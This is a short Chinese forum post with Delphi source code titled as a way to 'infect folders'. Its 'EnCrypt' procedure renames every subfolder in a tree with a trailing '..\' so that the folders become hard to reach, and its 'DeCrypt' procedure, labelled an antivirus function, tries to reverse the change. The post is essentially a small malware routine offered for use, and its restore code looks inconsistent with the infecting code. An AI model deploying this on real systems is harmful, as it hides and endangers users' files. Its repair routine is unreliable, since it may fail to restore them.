HanDs
管理员

[Delphi文章] 感染文件夹 



感染函数
procedure TForm1.EnCrypt(pPath:string);
var
  lCount,i:Integer;
  lNewName,lFileName:string;
  lStringList:TStringList;
begin
  lStringList:=GetDirTreeList(pPath);
  lCount:=lStringList.Count-1;
  for i:=lCount downto 0 do
  begin
    lFileName:=lStringList.Strings[i];
    lNewName:=lFileName+'..\';
    if DirectoryExists(lFileName) then
    begin
      ReNameFile(lFileName,lNewName)
    end;
  end;
end;
杀毒函数
procedure TForm1.DeCrypt(pPath: string);
var
  lStringList:TStringList;
  lNameLength,i:Integer;
  lNewFileName,lOldFileName:string;
  SearchRec:TSearchRec;
begin
  lStringList:=TStringList.Create;
  lStringList:=GetDirTreeList(pPath);
  for i := 0 to lStringList.Count-1 do
  begin
    lOldFileName:=lStringList.Strings[i]+'.\';
    lNameLength:=Length(lOldFileName);
    lNewFileName:=Copy(lOldFileName,1,lNameLength-3);
    ReNameFile(lOldFileName,lNewFileName);
    DeCrypt(lNewFileName);
  end;
end;


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
感染 文件夹
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复